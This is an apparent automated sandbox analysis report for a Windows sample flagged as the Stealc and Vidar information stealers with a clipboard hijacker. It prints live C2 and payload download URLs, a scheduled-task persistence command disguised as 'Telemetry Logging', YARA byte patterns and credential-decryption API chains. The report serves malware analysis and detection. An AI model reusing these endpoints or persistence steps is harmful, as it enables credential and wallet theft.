Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1508145
MD5:	6bed76e79419acb6cc20bcacf67dec0a
SHA1:	983b46b410ca8e41c79978c48e34c76eaacf9d34
SHA256:	c4fc1b9be30d564dfcb1e1af52a804b88779c991d379207c45b11056ed7b6023
Tags:	exe
Infos:

Detection

Clipboard Hijacker, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Clipboard Hijacker

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Searches for specific processes (likely to inject)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6392 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6BED76E79419ACB6CC20BCACF67DEC0A)

conhost.exe (PID: 5620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 2680 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 1716 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\BKKFCFBKFC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

BKKFCFBKFC.exe (PID: 6776 cmdline: "C:\ProgramData\BKKFCFBKFC.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 1440 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 3808 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6392 -s 928 MD5: C31336C1EFC2CCB44B4326EA793040F2)

oobeldr.exe (PID: 940 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 7088 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://45.152.113.10/92335b4816f77e90.php"}

Threatname: Vidar

{"C2 url": "http://45.152.113.10/92335b4816f77e90.php", "Botnet": "default"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000002.2209559446.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000B.00000002.2209559446.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000000F.00000002.4498459924.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000F.00000002.4498459924.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000002.00000002.2224993314.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6392	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 2680	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 2680	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 2680	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 2680	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
15.2.oobeldr.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
15.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
15.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
11.2.BKKFCFBKFC.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
11.2.BKKFCFBKFC.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
11.2.BKKFCFBKFC.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe, ParentImage: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe, ParentProcessId: 940, ParentProcessName: oobeldr.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", ProcessId: 7088, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\ProgramData\BKKFCFBKFC.exe" , ParentImage: C:\ProgramData\BKKFCFBKFC.exe, ParentProcessId: 6776, ParentProcessName: BKKFCFBKFC.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", ProcessId: 1440, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-09T18:45:12.359738+0200	2019714	2	Potentially Bad Traffic	192.168.2.5	49717	198.54.120.231	443	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-09T18:45:01.099537+0200	2044245	1	Malware Command and Control Activity Detected	45.152.113.10	80	192.168.2.5	49707	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-09T18:45:01.093371+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49707	45.152.113.10	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-09T18:45:01.235429+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49707	45.152.113.10	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-09T18:45:09.614116+0200	2044249	1	Malware Command and Control Activity Detected	192.168.2.5	49707	45.152.113.10	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-09T18:45:01.595701+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49707	45.152.113.10	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-09T18:45:01.242568+0200	2044247	1	Malware Command and Control Activity Detected	45.152.113.10	80	192.168.2.5	49707	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-09T18:45:00.949076+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49707	45.152.113.10	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-09T18:45:01.733450+0200	2803304	3	Unknown Traffic	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:04.159363+0200	2803304	3	Unknown Traffic	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:04.869859+0200	2803304	3	Unknown Traffic	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:05.426209+0200	2803304	3	Unknown Traffic	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:05.887112+0200	2803304	3	Unknown Traffic	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:07.519547+0200	2803304	3	Unknown Traffic	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:07.860064+0200	2803304	3	Unknown Traffic	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:12.359738+0200	2803304	3	Unknown Traffic	192.168.2.5	49717	198.54.120.231	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://45.152.113.10/15a25e53742510fe/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/msvcp140.dll&	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.php0	Avira URL Cloud: Label: malware
Source: http://45.152.113.10	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phpL	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phpT	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phpe	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phps	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phppv	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/freebl3.dlll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.php	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phpllets	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/vcruntime140.dllH	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/nss3.dll	Avira URL Cloud: Label: malware
Source: https://evokeedgellc.com/app/l2.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\l2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\ProgramData\BKKFCFBKFC.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053

Found malware configuration

Source: 00000002.00000002.2224993314.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://45.152.113.10/92335b4816f77e90.php"}
Source: 2.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://45.152.113.10/92335b4816f77e90.php", "Botnet": "default"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\BKKFCFBKFC.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\l2[1].exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	2_2_00409BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	2_2_00418940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	2_2_0040C660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	2_2_00407280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	2_2_00409B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEC6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	2_2_6BEC6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C01A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	2_2_6C01A9A0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 198.54.120.231:443 -> 192.168.2.5:49717 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000002.00000002.2252907582.000000006BF2D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mscorlib.pdb source: file.exe, 00000000.00000002.2209613334.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, WERE197.tmp.dmp.6.dr
Source:	Binary string: System.ni.pdbRSDS source: WERE197.tmp.dmp.6.dr
Source:	Binary string: mscorlib.ni.pdb source: WERE197.tmp.dmp.6.dr
Source:	Binary string: System.Core.pdb source: WERE197.tmp.dmp.6.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERE197.tmp.dmp.6.dr
Source:	Binary string: System.pdbP source: WERE197.tmp.dmp.6.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000002.00000002.2252907582.000000006BF2D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: System.ni.pdb source: WERE197.tmp.dmp.6.dr
Source:	Binary string: System.pdb source: WERE197.tmp.dmp.6.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERE197.tmp.dmp.6.dr
Source:	Binary string: System.Core.ni.pdb source: WERE197.tmp.dmp.6.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	2_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	2_2_0040EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	2_2_004133C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

